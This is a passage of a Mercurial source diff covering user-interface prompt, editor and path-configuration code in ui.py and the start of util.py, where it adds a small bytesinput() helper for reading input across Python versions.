         # raw_input() to emit an extra trailing carriage return
         if pycompat.oslinesep == '\r\n' and line and line[-1] == '\r':
             line = line[:-1]
         return line
 
     def prompt(self, msg, default="y"):
         """Prompt user with msg, read response.
         If ui is not interactive, the default is returned.
         """
         if not self.interactive():
             self.write(msg, ' ', default or '', "\n")
             return default
         try:
             r = self._readline(self.label(msg, 'ui.prompt'))
             if not r:
                 r = default
             if self.configbool('ui', 'promptecho'):
                 self.write(r, "\n")
             return r
         except EOFError:
             raise error.ResponseExpected()
 
     @staticmethod
     def extractchoices(prompt):
         """Extract prompt message and list of choices from specified prompt.
 
         This returns tuple "(message, choices)", and "choices" is the
         list of tuple "(response character, text without &)".
 
         >>> ui.extractchoices("awake? $$ &Yes $$ &No")
         ('awake? ', [('y', 'Yes'), ('n', 'No')])
         >>> ui.extractchoices("line\\nbreak? $$ &Yes $$ &No")
         ('line\\nbreak? ', [('y', 'Yes'), ('n', 'No')])
         >>> ui.extractchoices("want lots of $$money$$?$$Ye&s$$N&o")
         ('want lots of $$money$$?', [('s', 'Yes'), ('o', 'No')])
         """
 
         # Sadly, the prompt string may have been built with a filename
         # containing "$$" so let's try to find the first valid-looking
         # prompt to start parsing. Sadly, we also can't rely on
         # choices containing spaces, ASCII, or basically anything
         # except an ampersand followed by a character.
         m = re.match(br'(?s)(.+?)\$\$([^\$]*&[^ \$].*)', prompt)
         msg = m.group(1)
         choices = [p.strip(' ') for p in m.group(2).split('$$')]
         def choicetuple(s):
             ampidx = s.index('&')
             return s[ampidx + 1:ampidx + 2].lower(), s.replace('&', '', 1)
         return (msg, [choicetuple(s) for s in choices])
 
     def promptchoice(self, prompt, default=0):
         """Prompt user with a message, read response, and ensure it matches
         one of the provided choices. The prompt is formatted as follows:
 
            "would you like fries with that (Yn)? $$ &Yes $$ &No"
 
         The index of the choice is returned. Responses are case
         insensitive. If ui is not interactive, the default is
         returned.
         """
 
         msg, choices = self.extractchoices(prompt)
         resps = [r for r, t in choices]
         while True:
             r = self.prompt(msg, resps[default])
             if r.lower() in resps:
                 return resps.index(r.lower())
             self.write(_("unrecognized response\n"))
 
     def getpass(self, prompt=None, default=None):
         if not self.interactive():
             return default
         try:
             self.write_err(self.label(prompt or _('password: '), 'ui.prompt'))
             # disable getpass() only if explicitly specified. it's still valid
             # to interact with tty even if fin is not a tty.
             with self.timeblockedsection('stdio'):
                 if self.configbool('ui', 'nontty'):
                     l = self.fin.readline()
                     if not l:
                         raise EOFError
                     return l.rstrip('\n')
                 else:
                     return getpass.getpass('')
         except EOFError:
             raise error.ResponseExpected()
     def status(self, *msg, **opts):
         '''write status message to output (if ui.quiet is False)
 
         This adds an output label of "ui.status".
         '''
         if not self.quiet:
             opts[r'label'] = opts.get(r'label', '') + ' ui.status'
             self.write(*msg, **opts)
     def warn(self, *msg, **opts):
         '''write warning message to output (stderr)
 
         This adds an output label of "ui.warning".
         '''
         opts[r'label'] = opts.get(r'label', '') + ' ui.warning'
         self.write_err(*msg, **opts)
     def note(self, *msg, **opts):
         '''write note to output (if ui.verbose is True)
 
         This adds an output label of "ui.note".
         '''
         if self.verbose:
             opts[r'label'] = opts.get(r'label', '') + ' ui.note'
             self.write(*msg, **opts)
     def debug(self, *msg, **opts):
         '''write debug message to output (if ui.debugflag is True)
 
         This adds an output label of "ui.debug".
         '''
         if self.debugflag:
             opts[r'label'] = opts.get(r'label', '') + ' ui.debug'
             self.write(*msg, **opts)
 
     def edit(self, text, user, extra=None, editform=None, pending=None,
              repopath=None):
         extra_defaults = {
             'prefix': 'editor',
             'suffix': '.txt',
         }
         if extra is not None:
             extra_defaults.update(extra)
         extra = extra_defaults
 
         rdir = None
         if self.configbool('experimental', 'editortmpinhg'):
             rdir = repopath
         (fd, name) = tempfile.mkstemp(prefix='hg-' + extra['prefix'] + '-',
                                       suffix=extra['suffix'],
                                       dir=rdir)
         try:
             f = os.fdopen(fd, r'wb')
             f.write(util.tonativeeol(text))
             f.close()
 
             environ = {'HGUSER': user}
             if 'transplant_source' in extra:
                 environ.update({'HGREVISION': hex(extra['transplant_source'])})
             for label in ('intermediate-source', 'source', 'rebase_source'):
                 if label in extra:
                     environ.update({'HGREVISION': extra[label]})
                     break
             if editform:
                 environ.update({'HGEDITFORM': editform})
             if pending:
                 environ.update({'HG_PENDING': pending})
 
             editor = self.geteditor()
 
             self.system("%s \"%s\"" % (editor, name),
                         environ=environ,
                         onerr=error.Abort, errprefix=_("edit failed"),
                         blockedtag='editor')
 
             f = open(name, r'rb')
             t = util.fromnativeeol(f.read())
             f.close()
         finally:
             os.unlink(name)
 
         return t
 
     def system(self, cmd, environ=None, cwd=None, onerr=None, errprefix=None,
                blockedtag=None):
         '''execute shell command with appropriate output stream. command
         output will be redirected if fout is not stdout.
 
         if command fails and onerr is None, return status, else raise onerr
         object as exception.
         '''
         if blockedtag is None:
             # Long cmds tend to be because of an absolute path on cmd. Keep
             # the tail end instead
             cmdsuffix = cmd.translate(None, _keepalnum)[-85:]
             blockedtag = 'unknown_system_' + cmdsuffix
         out = self.fout
         if any(s[1] for s in self._bufferstates):
             out = self
         with self.timeblockedsection(blockedtag):
             rc = self._runsystem(cmd, environ=environ, cwd=cwd, out=out)
         if rc and onerr:
             errmsg = '%s %s' % (os.path.basename(cmd.split(None, 1)[0]),
                                 util.explainexit(rc)[0])
             if errprefix:
                 errmsg = '%s: %s' % (errprefix, errmsg)
             raise onerr(errmsg)
         return rc
 
     def _runsystem(self, cmd, environ, cwd, out):
         """actually execute the given shell command (can be overridden by
         extensions like chg)"""
         return util.system(cmd, environ=environ, cwd=cwd, out=out)
 
     def traceback(self, exc=None, force=False):
         '''print exception traceback if traceback printing enabled or forced.
         only to call in exception handler. returns true if traceback
         printed.'''
         if self.tracebackflag or force:
             if exc is None:
                 exc = sys.exc_info()
             cause = getattr(exc[1], 'cause', None)
 
             if cause is not None:
                 causetb = traceback.format_tb(cause[2])
                 exctb = traceback.format_tb(exc[2])
                 exconly = traceback.format_exception_only(cause[0], cause[1])
 
                 # exclude frame where 'exc' was chained and rethrown from exctb
                 self.write_err('Traceback (most recent call last):\n',
                                ''.join(exctb[:-1]),
                                ''.join(causetb),
                                ''.join(exconly))
             else:
                 output = traceback.format_exception(exc[0], exc[1], exc[2])
                 data = r''.join(output)
                 if pycompat.ispy3:
                     enc = pycompat.sysstr(encoding.encoding)
                     data = data.encode(enc, errors=r'replace')
                 self.write_err(data)
         return self.tracebackflag or force
 
     def geteditor(self):
         '''return editor to use'''
         if pycompat.sysplatform == 'plan9':
             # vi is the MIPS instruction simulator on Plan 9. We
             # instead default to E to plumb commit messages to
             # avoid confusion.
             editor = 'E'
         else:
             editor = 'vi'
         return (encoding.environ.get("HGEDITOR") or
                 self.config("ui", "editor", editor))
 
     @util.propertycache
     def _progbar(self):
         """setup the progbar singleton to the ui object"""
         if (self.quiet or self.debugflag
                 or self.configbool('progress', 'disable')
                 or not progress.shouldprint(self)):
             return None
         return getprogbar(self)
 
     def _progclear(self):
         """clear progress bar output if any. use it before any output"""
         if '_progbar' not in vars(self): # nothing loaded yet
             return
         if self._progbar is not None and self._progbar.printed:
             self._progbar.clear()
 
     def progress(self, topic, pos, item="", unit="", total=None):
         '''show a progress message
 
         By default a textual progress bar will be displayed if an operation
         takes too long. 'topic' is the current operation, 'item' is a
         non-numeric marker of the current position (i.e. the currently
         in-process file), 'pos' is the current numeric position (i.e.
         revision, bytes, etc.), unit is a corresponding unit label,
         and total is the highest expected pos.
 
         Multiple nested topics may be active at a time.
 
         All topics should be marked closed by setting pos to None at
         termination.
         '''
         if self._progbar is not None:
             self._progbar.progress(topic, pos, item=item, unit=unit,
                                    total=total)
         if pos is None or not self.configbool('progress', 'debug'):
             return
 
         if unit:
             unit = ' ' + unit
         if item:
             item = ' ' + item
 
         if total:
             pct = 100.0 * pos / total
             self.debug('%s:%s %s/%s%s (%4.2f%%)\n'
                      % (topic, item, pos, total, unit, pct))
         else:
             self.debug('%s:%s %s%s\n' % (topic, item, pos, unit))
 
     def log(self, service, *msg, **opts):
         '''hook for logging facility extensions
 
         service should be a readily-identifiable subsystem, which will
         allow filtering.
 
         *msg should be a newline-terminated format string to log, and
         then any values to %-format into that format string.
 
         **opts currently has no defined meanings.
         '''
 
     def label(self, msg, label):
         '''style msg based on supplied label
 
         If some color mode is enabled, this will add the necessary control
         characters to apply such color. In addition, 'debug' color mode adds
         markup showing which label affects a piece of text.
 
         ui.write(s, 'label') is equivalent to
         ui.write(ui.label(s, 'label')).
         '''
         if self._colormode is not None:
             return color.colorlabel(self, msg, label)
         return msg
 
     def develwarn(self, msg, stacklevel=1, config=None):
         """issue a developer warning message
 
         Use 'stacklevel' to report the offender some layers further up in the
         stack.
         """
         if not self.configbool('devel', 'all-warnings'):
             if config is not None and not self.configbool('devel', config):
                 return
         msg = 'devel-warn: ' + msg
         stacklevel += 1 # get in develwarn
         if self.tracebackflag:
             util.debugstacktrace(msg, stacklevel, self.ferr, self.fout)
             self.log('develwarn', '%s at:\n%s' %
                      (msg, ''.join(util.getstackframes(stacklevel))))
         else:
             curframe = inspect.currentframe()
             calframe = inspect.getouterframes(curframe, 2)
             self.write_err('%s at: %s:%s (%s)\n'
                            % ((msg,) + calframe[stacklevel][1:4]))
             self.log('develwarn', '%s at: %s:%s (%s)\n',
                      msg, *calframe[stacklevel][1:4])
             curframe = calframe = None  # avoid cycles
 
     def deprecwarn(self, msg, version):
         """issue a deprecation warning
 
         - msg: message explaining what is deprecated and how to upgrade,
         - version: last version where the API will be supported,
         """
         if not (self.configbool('devel', 'all-warnings')
                 or self.configbool('devel', 'deprec-warn')):
             return
         msg += ("\n(compatibility will be dropped after Mercurial-%s,"
                 " update your code.)") % version
         self.develwarn(msg, stacklevel=2, config='deprec-warn')
 
     def exportableenviron(self):
         """The environment variables that are safe to export, e.g. through
         hgweb.
         """
         return self._exportableenviron
 
     @contextlib.contextmanager
     def configoverride(self, overrides, source=""):
         """Context manager for temporary config overrides
         `overrides` must be a dict of the following structure:
         {(section, name) : value}"""
         backups = {}
         try:
             for (section, name), value in overrides.items():
                 backups[(section, name)] = self.backupconfig(section, name)
                 self.setconfig(section, name, value, source)
             yield
         finally:
             for __, backup in backups.items():
                 self.restoreconfig(backup)
             # just restoring ui.quiet config to the previous value is not enough
             # as it does not update ui.quiet class member
             if ('ui', 'quiet') in overrides:
                 self.fixconfig(section='ui')
 
 class paths(dict):
     """Represents a collection of paths and their configs.
 
     Data is initially derived from ui instances and the config files they have
     loaded.
     """
     def __init__(self, ui):
         dict.__init__(self)
 
         for name, loc in ui.configitems('paths', ignoresub=True):
             # No location is the same as not existing.
             if not loc:
                 continue
             loc, sub = ui.configsuboptions('paths', name)
             self[name] = path(ui, name, rawloc=loc, suboptions=sub)
 
     def getpath(self, name, default=None):
         """Return a ``path`` from a string, falling back to default.
 
         ``name`` can be a named path or locations. Locations are filesystem
         paths or URIs.
 
         Returns None if ``name`` is not a registered path, a URI, or a local
         path to a repo.
         """
         # Only fall back to default if no path was requested.
         if name is None:
             if not default:
                 default = ()
             elif not isinstance(default, (tuple, list)):
                 default = (default,)
             for k in default:
                 try:
                     return self[k]
                 except KeyError:
                     continue
             return None
 
         # Most likely empty string.
         # This may need to raise in the future.
         if not name:
             return None
 
         try:
             return self[name]
         except KeyError:
             # Try to resolve as a local path or URI.
             try:
                 # We don't pass sub-options in, so no need to pass ui instance.
                 return path(None, None, rawloc=name)
             except ValueError:
                 raise error.RepoError(_('repository %s does not exist') %
                                         name)
 
 _pathsuboptions = {}
 
 def pathsuboption(option, attr):
     """Decorator used to declare a path sub-option.
 
     Arguments are the sub-option name and the attribute it should set on
     ``path`` instances.
 
     The decorated function will receive as arguments a ``ui`` instance,
     ``path`` instance, and the string value of this option from the config.
     The function should return the value that will be set on the ``path``
     instance.
 
     This decorator can be used to perform additional verification of
     sub-options and to change the type of sub-options.
     """
     def register(func):
         _pathsuboptions[option] = (attr, func)
         return func
     return register
 
 @pathsuboption('pushurl', 'pushloc')
 def pushurlpathoption(ui, path, value):
     u = util.url(value)
     # Actually require a URL.
     if not u.scheme:
         ui.warn(_('(paths.%s:pushurl not a URL; ignoring)\n') % path.name)
         return None
 
     # Don't support the #foo syntax in the push URL to declare branch to
     # push.
     if u.fragment:
         ui.warn(_('("#fragment" in paths.%s:pushurl not supported; '
                   'ignoring)\n') % path.name)
         u.fragment = None
 
     return str(u)
 
 @pathsuboption('pushrev', 'pushrev')
 def pushrevpathoption(ui, path, value):
     return value
 
 class path(object):
     """Represents an individual path and its configuration."""
 
     def __init__(self, ui, name, rawloc=None, suboptions=None):
         """Construct a path from its config options.
 
         ``ui`` is the ``ui`` instance the path is coming from.
         ``name`` is the symbolic name of the path.
         ``rawloc`` is the raw location, as defined in the config.
         ``pushloc`` is the raw locations pushes should be made to.
 
         If ``name`` is not defined, we require that the location be a) a local
         filesystem path with a .hg directory or b) a URL. If not,
         ``ValueError`` is raised.
         """
         if not rawloc:
             raise ValueError('rawloc must be defined')
 
         # Locations may define branches via syntax <base>#<branch>.
         u = util.url(rawloc)
         branch = None
         if u.fragment:
             branch = u.fragment
             u.fragment = None
 
         self.url = u
         self.branch = branch
 
         self.name = name
         self.rawloc = rawloc
         self.loc = '%s' % u
 
         # When given a raw location but not a symbolic name, validate the
         # location is valid.
         if not name and not u.scheme and not self._isvalidlocalpath(self.loc):
             raise ValueError('location is not a URL or path to a local '
                              'repo: %s' % rawloc)
 
         suboptions = suboptions or {}
 
         # Now process the sub-options. If a sub-option is registered, its
         # attribute will always be present. The value will be None if there
         # was no valid sub-option.
         for suboption, (attr, func) in _pathsuboptions.iteritems():
             if suboption not in suboptions:
                 setattr(self, attr, None)
                 continue
 
             value = func(ui, self, suboptions[suboption])
             setattr(self, attr, value)
 
     def _isvalidlocalpath(self, path):
         """Returns True if the given path is a potentially valid repository.
         This is its own function so that extensions can change the definition of
         'valid' in this case (like when pulling from a git repo into a hg
         one)."""
         return os.path.isdir(os.path.join(path, '.hg'))
 
     @property
     def suboptions(self):
         """Return sub-options and their values for this path.
 
         This is intended to be used for presentation purposes.
         """
         d = {}
         for subopt, (attr, _func) in _pathsuboptions.iteritems():
             value = getattr(self, attr)
             if value is not None:
                 d[subopt] = value
         return d
 
 # we instantiate one globally shared progress bar to avoid
 # competing progress bars when multiple UI objects get created
 _progresssingleton = None
 
 def getprogbar(ui):
     global _progresssingleton
     if _progresssingleton is None:
         # passing 'ui' object to the singleton is fishy,
         # this is how the extension used to work but feel free to rework it.
         _progresssingleton = progress.progbar(ui)
     return _progresssingleton

mercurial/util.py

@@ -1,3765 +1,3777 b''
 # util.py - Mercurial utility functions and platform specific implementations
 #
 #  Copyright 2005 K. Thananchayan <[e-mail]>
 #  Copyright 2005-2007 Matt Mackall <[e-mail]>
 #  Copyright 2006 Vadim Gelfer <[e-mail]>
 #
 # This software may be used and distributed according to the terms of the
 # GNU General Public License version 2 or any later version.
 
 """Mercurial utility functions and platform specific implementations.
 
 This contains helper routines that are independent of the SCM core and
 hide platform-specific details from the core.
 """
 
 from __future__ import absolute_import
 
 import abc
 import bz2
 import calendar
 import codecs
 import collections
 import contextlib
 import datetime
 import errno
 import gc
 import hashlib
 import imp
 import os
 import platform as pyplatform
 import re as remod
 import shutil
 import signal
 import socket
 import stat
 import string
 import subprocess
 import sys
 import tempfile
 import textwrap
 import time
 import traceback
 import warnings
 import zlib
 
 from . import (
     encoding,
     error,
     i18n,
     policy,
     pycompat,
 )
 
 base85 = policy.importmod(r'base85')
 osutil = policy.importmod(r'osutil')
 parsers = policy.importmod(r'parsers')
 
 b85decode = base85.b85decode
 b85encode = base85.b85encode
 
 cookielib = pycompat.cookielib
 empty = pycompat.empty
 httplib = pycompat.httplib
 httpserver = pycompat.httpserver
 pickle = pycompat.pickle
 queue = pycompat.queue
 socketserver = pycompat.socketserver
 stderr = pycompat.stderr
 stdin = pycompat.stdin
 stdout = pycompat.stdout
 stringio = pycompat.stringio
 urlerr = pycompat.urlerr
 urlreq = pycompat.urlreq
 xmlrpclib = pycompat.xmlrpclib
 
 # workaround for win32mbcs
 _filenamebytestr = pycompat.bytestr
 
 def isatty(fp):
     try:
         return fp.isatty()
     except AttributeError:
         return False
 
 # glibc determines buffering on first write to stdout - if we replace a TTY
 # destined stdout with a pipe destined stdout (e.g. pager), we want line
 # buffering
 if isatty(stdout):
     stdout = os.fdopen(stdout.fileno(), pycompat.sysstr('wb'), 1)
 
 if pycompat.osname == 'nt':
     from . import windows as platform
     stdout = platform.winstdout(stdout)
 else:
     from . import posix as platform
 
 _ = i18n._
 
 bindunixsocket = platform.bindunixsocket
 cachestat = platform.cachestat
 checkexec = platform.checkexec
 checklink = platform.checklink
 copymode = platform.copymode
 executablepath = platform.executablepath
 expandglobs = platform.expandglobs
 explainexit = platform.explainexit
 findexe = platform.findexe
 gethgcmd = platform.gethgcmd
 getuser = platform.getuser
 getpid = os.getpid
 groupmembers = platform.groupmembers
 groupname = platform.groupname
 hidewindow = platform.hidewindow
 isexec = platform.isexec
 isowner = platform.isowner
 listdir = osutil.listdir
 localpath = platform.localpath
 lookupreg = platform.lookupreg
 makedir = platform.makedir
 nlinks = platform.nlinks
 normpath = platform.normpath
 normcase = platform.normcase
 normcasespec = platform.normcasespec
 normcasefallback = platform.normcasefallback
 openhardlinks = platform.openhardlinks
 oslink = platform.oslink
 parsepatchoutput = platform.parsepatchoutput
 pconvert = platform.pconvert
 poll = platform.poll
 popen = platform.popen
 posixfile = platform.posixfile
 quotecommand = platform.quotecommand
 readpipe = platform.readpipe
 rename = platform.rename
 removedirs = platform.removedirs
 samedevice = platform.samedevice
 samefile = platform.samefile
 samestat = platform.samestat
 setbinary = platform.setbinary
 setflags = platform.setflags
 setsignalhandler = platform.setsignalhandler
 shellquote = platform.shellquote
 spawndetached = platform.spawndetached
 split = platform.split
 sshargs = platform.sshargs
 statfiles = getattr(osutil, 'statfiles', platform.statfiles)
 statisexec = platform.statisexec
 statislink = platform.statislink
 testpid = platform.testpid
 umask = platform.umask
 unlink = platform.unlink
 username = platform.username
 
 try:
     recvfds = osutil.recvfds
 except AttributeError:
     pass
 try:
     setprocname = osutil.setprocname
 except AttributeError:
     pass
 
 # Python compatibility
 
 _notset = object()
 
 # disable Python's problematic floating point timestamps (issue4836)
 # (Python hypocritically says you shouldn't change this behavior in
 # libraries, and sure enough Mercurial is not a library.)
 os.stat_float_times(False)
 
 def safehasattr(thing, attr):
     return getattr(thing, attr, _notset) is not _notset
 
+def bytesinput(fin, fout, *args, **kwargs):
+    sin, sout = sys.stdin, sys.stdout
+    try:
+        if pycompat.ispy3:
+            sys.stdin, sys.stdout = encoding.strio(fin), encoding.strio(fout)
+            return encoding.strtolocal(input(*args, **kwargs))
+        else:
+            sys.stdin, sys.stdout = fin, fout
+            return raw_input(*args, **kwargs)
+    finally:
+        sys.stdin, sys.stdout = sin, sout
+
 def bitsfrom(container):
     bits = 0
     for bit in container:
         bits |= bit
     return bits
 
 # python 2.6 still have deprecation warning enabled by default. We do not want
 # to display anything to standard user so detect if we are running test and
 # only use python deprecation warning in this case.
 _dowarn = bool(encoding.environ.get('HGEMITWARNINGS'))
 if _dowarn:
     # explicitly unfilter our warning for python 2.7
     #
     # The option of setting PYTHONWARNINGS in the test runner was investigated.
     # However, module name set through PYTHONWARNINGS was exactly matched, so
     # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This
     # makes the whole PYTHONWARNINGS thing useless for our usecase.
     warnings.filterwarnings(r'default', r'', DeprecationWarning, r'mercurial')
     warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext')
     warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext3rd')
 
 def nouideprecwarn(msg, version, stacklevel=1):
     """Issue an python native deprecation warning
 
     This is a noop outside of tests, use 'ui.deprecwarn' when possible.
     """
     if _dowarn:
         msg += ("\n(compatibility will be dropped after Mercurial-%s,"
                 " update your code.)") % version
         warnings.warn(msg, DeprecationWarning, stacklevel + 1)
 
 DIGESTS = {
     'md5': hashlib.md5,
     'sha1': hashlib.sha1,
     'sha512': hashlib.sha512,
 }
 # List of digest types from strongest to weakest
 DIGESTS_BY_STRENGTH = ['sha512', 'sha1', 'md5']
 
 for k in DIGESTS_BY_STRENGTH:
     assert k in DIGESTS
 
 class digester(object):
     """helper to compute digests.
 
     This helper can be used to compute one or more digests given their name.
 
     >>> d = digester(['md5', 'sha1'])
     >>> d.update('foo')
     >>> [k for k in sorted(d)]
     ['md5', 'sha1']
     >>> d['md5']
     'acbd18db4cc2f85cedef654fccc4a4d8'
     >>> d['sha1']
     '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33'
     >>> digester.preferred(['md5', 'sha1'])
     'sha1'
     """
 
     def __init__(self, digests, s=''):
         self._hashes = {}
         for k in digests:
             if k not in DIGESTS:
                 raise Abort(_('unknown digest type: %s') % k)
             self._hashes[k] = DIGESTS[k]()
         if s:
             self.update(s)
 
     def update(self, data):
         for h in self._hashes.values():
             h.update(data)
 
     def __getitem__(self, key):
         if key not in DIGESTS:
             raise Abort(_('unknown digest type: %s') % k)
         return self._hashes[key].hexdigest()
 
     def __iter__(self):
         return iter(self._hashes)
 
     @staticmethod
     def preferred(supported):
         """returns the strongest digest type in both supported and DIGESTS."""
 
         for k in DIGESTS_BY_STRENGTH:
             if k in supported:
                 return k
         return None
 
 class digestchecker(object):
     """file handle wrapper that additionally checks content against a given
     size and digests.
 
         d = digestchecker(fh, size, {'md5': '...'})
 
     When multiple digests are given, all of them are validated.
     """
 
     def __init__(self, fh, size, digests):
         self._fh = fh
         self._size = size
         self._got = 0
         self._digests = dict(digests)
         self._digester = digester(self._digests.keys())
 
     def read(self, length=-1):
         content = self._fh.read(length)
         self._digester.update(content)
         self._got += len(content)
         return content
 
     def validate(self):
         if self._size != self._got:
             raise Abort(_('size mismatch: expected %d, got %d') %
                 (self._size, self._got))
         for k, v in self._digests.items():
             if v != self._digester[k]:
                 # i18n: first parameter is a digest name
                 raise Abort(_('%s mismatch: expected %s, got %s') %
                     (k, v, self._digester[k]))
 
 try:
     buffer = buffer
 except NameError:
     def buffer(sliceable, offset=0, length=None):
         if length is not None:
             return memoryview(sliceable)[offset:offset + length]
         return memoryview(sliceable)[offset:]
 
 closefds = pycompat.osname == 'posix'
 
 _chunksize = 4096
 
 class bufferedinputpipe(object):
     """a manually buffered input pipe
 
     Python will not let us use buffered IO and lazy reading with 'polling' at
     the same time. We cannot probe the buffer state and select will not detect
     that data are ready to read if they are already buffered.
 
     This class let us work around that by implementing its own buffering
     (allowing efficient readline) while offering a way to know if the buffer is
     empty from the output (allowing collaboration of the buffer with polling).
 
     This class lives in the 'util' module because it makes use of the 'os'
     module from the python stdlib.
     """
 
     def __init__(self, input):
         self._input = input
         self._buffer = []
         self._eof = False
         self._lenbuf = 0
 
     @property
     def hasbuffer(self):
         """True is any data is currently buffered
 
         This will be used externally a pre-step for polling IO. If there is
         already data then no polling should be set in place."""
         return bool(self._buffer)
 
     @property
     def closed(self):
         return self._input.closed
 
     def fileno(self):
         return self._input.fileno()
 
     def close(self):
         return self._input.close()
 
     def read(self, size):
         while (not self._eof) and (self._lenbuf < size):
             self._fillbuffer()
         return self._frombuffer(size)
 
     def readline(self, *args, **kwargs):
         if 1 < len(self._buffer):
             # this should not happen because both read and readline end with a
             # _frombuffer call that collapse it.
             self._buffer = [''.join(self._buffer)]
             self._lenbuf = len(self._buffer[0])
         lfi = -1
         if self._buffer:
             lfi = self._buffer[-1].find('\n')
         while (not self._eof) and lfi < 0:
             self._fillbuffer()
             if self._buffer:
                 lfi = self._buffer[-1].find('\n')
         size = lfi + 1
         if lfi < 0: # end of file
             size = self._lenbuf
         elif 1 < len(self._buffer):
             # we need to take previous chunks into account
             size += self._lenbuf - len(self._buffer[-1])
         return self._frombuffer(size)
 
     def _frombuffer(self, size):
         """return at most 'size' data from the buffer
 
         The data are removed from the buffer."""
         if size == 0 or not self._buffer:
             return ''
         buf = self._buffer[0]
         if 1 < len(self._buffer):
             buf = ''.join(self._buffer)
 
         data = buf[:size]
         buf = buf[len(data):]
         if buf:
             self._buffer = [buf]
             self._lenbuf = len(buf)
         else:
             self._buffer = []
             self._lenbuf = 0
         return data
 
     def _fillbuffer(self):
         """read data to the buffer"""
         data = os.read(self._input.fileno(), _chunksize)
         if not data:
             self._eof = True
         else:
             self._lenbuf += len(data)
             self._buffer.append(data)
 
 def popen2(cmd, env=None, newlines=False):
     # Setting bufsize to -1 lets the system decide the buffer size.
     # The default for bufsize is 0, meaning unbuffered. This leads to
     # poor performance on Mac OS X: http://bugs.python.org/issue4194
     p = subprocess.Popen(cmd, shell=True, bufsize=-1,
                          close_fds=closefds,
                          stdin=subprocess.PIPE, stdout=subprocess.PIPE,
                          universal_newlines=newlines,
                          env=env)
     return p.stdin, p.stdout
 
 def popen3(cmd, env=None, newlines=False):
     stdin, stdout, stderr, p = popen4(cmd, env, newlines)
     return stdin, stdout, stderr
 
 def popen4(cmd, env=None, newlines=False, bufsize=-1):
     p = subprocess.Popen(cmd, shell=True, bufsize=bufsize,
                          close_fds=closefds,
                          stdin=subprocess.PIPE, stdout=subprocess.PIPE,
                          stderr=subprocess.PIPE,
                          universal_newlines=newlines,
                          env=env)
     return p.stdin, p.stdout, p.stderr, p
 
 def version():
     """Return version information if available."""
     try:
         from . import __version__
         return __version__.version
     except ImportError:
         return 'unknown'
 
 def versiontuple(v=None, n=4):
     """Parses a Mercurial version string into an N-tuple.
 
     The version string to be parsed is specified with the ``v`` argument.
     If it isn't defined, the current Mercurial version string will be parsed.
 
     ``n`` can be 2, 3, or 4. Here is how some version strings map to
     returned values:
 
     >>> v = '3.6.1+190-df9b73d2d444'
     >>> versiontuple(v, 2)
     (3, 6)
     >>> versiontuple(v, 3)
     (3, 6, 1)
     >>> versiontuple(v, 4)
     (3, 6, 1, '190-df9b73d2d444')
 
     >>> versiontuple('3.6.1+190-df9b73d2d444+20151118')
     (3, 6, 1, '190-df9b73d2d444+20151118')
 
     >>> v = '3.6'
     >>> versiontuple(v, 2)
     (3, 6)
     >>> versiontuple(v, 3)
     (3, 6, None)
     >>> versiontuple(v, 4)
     (3, 6, None, None)
 
     >>> v = '3.9-rc'
     >>> versiontuple(v, 2)
     (3, 9)
     >>> versiontuple(v, 3)
     (3, 9, None)
     >>> versiontuple(v, 4)
     (3, 9, None, 'rc')
 
     >>> v = '3.9-rc+2-02a8fea4289b'
     >>> versiontuple(v, 2)
     (3, 9)
     >>> versiontuple(v, 3)
     (3, 9, None)
     >>> versiontuple(v, 4)
     (3, 9, None, 'rc+2-02a8fea4289b')
     """
     if not v:
         v = version()
     parts = remod.split('[\+-]', v, 1)
     if len(parts) == 1:
         vparts, extra = parts[0], None
     else:
         vparts, extra = parts
 
     vints = []
     for i in vparts.split('.'):
         try:
             vints.append(int(i))
         except ValueError:
             break
     # (3, 6) -> (3, 6, None)
     while len(vints) < 3:
         vints.append(None)
 
     if n == 2:
         return (vints[0], vints[1])
     if n == 3:
         return (vints[0], vints[1], vints[2])
     if n == 4:
         return (vints[0], vints[1], vints[2], extra)
 
 # used by parsedate
 defaultdateformats = (
     '%Y-%m-%dT%H:%M:%S', # the 'real' ISO8601
     '%Y-%m-%dT%H:%M',    #   without seconds
     '%Y-%m-%dT%H%M%S',   # another awful but legal variant without :
     '%Y-%m-%dT%H%M',     #   without seconds
     '%Y-%m-%d %H:%M:%S', # our common legal variant
     '%Y-%m-%d %H:%M',    #   without seconds
     '%Y-%m-%d %H%M%S',   # without :
     '%Y-%m-%d %H%M',     #   without seconds
     '%Y-%m-%d %I:%M:%S%p',
     '%Y-%m-%d %H:%M',
     '%Y-%m-%d %I:%M%p',
     '%Y-%m-%d',
     '%m-%d',
     '%m/%d',
     '%m/%d/%y',
     '%m/%d/%Y',
     '%a %b %d %H:%M:%S %Y',
     '%a %b %d %I:%M:%S%p %Y',
     '%a, %d %b %Y %H:%M:%S',        #  GNU coreutils "/bin/date --rfc-2822"
     '%b %d %H:%M:%S %Y',
     '%b %d %I:%M:%S%p %Y',
     '%b %d %H:%M:%S',
     '%b %d %I:%M:%S%p',
     '%b %d %H:%M',
     '%b %d %I:%M%p',
     '%b %d %Y',
     '%b %d',
     '%H:%M:%S',
     '%I:%M:%S%p',
     '%H:%M',
     '%I:%M%p',
 )
 
 extendeddateformats = defaultdateformats + (
     "%Y",
     "%Y-%m",
     "%b",
     "%b %Y",
     )
 
 def cachefunc(func):
     '''cache the result of function calls'''
     # XXX doesn't handle keywords args
     if func.__code__.co_argcount == 0:
         cache = []
         def f():
             if len(cache) == 0:
                 cache.append(func())
             return cache[0]
         return f
     cache = {}
     if func.__code__.co_argcount == 1:
         # we gain a small amount of time because
         # we don't need to pack/unpack the list
         def f(arg):
             if arg not in cache:
                 cache[arg] = func(arg)
             return cache[arg]
     else:
         def f(*args):
             if args not in cache:
                 cache[args] = func(*args)
             return cache[args]
 
     return f
 
 class sortdict(collections.OrderedDict):
     '''a simple sorted dictionary
 
     >>> d1 = sortdict([('a', 0), ('b', 1)])
     >>> d2 = d1.copy()
     >>> d2
     sortdict([('a', 0), ('b', 1)])
     >>> d2.update([('a', 2)])
     >>> d2.keys() # should still be in last-set order
     ['b', 'a']
     '''
 
     def __setitem__(self, key, value):
         if key in self:
             del self[key]
         super(sortdict, self).__setitem__(key, value)
 
     if pycompat.ispypy:
         # __setitem__() isn't called as of PyPy 5.8.0
         def update(self, src):
             if isinstance(src, dict):
                 src = src.iteritems()
             for k, v in src:
                 self[k] = v
 
 class transactional(object):
     """Base class for making a transactional type into a context manager."""
     __metaclass__ = abc.ABCMeta
 
     @abc.abstractmethod
     def close(self):
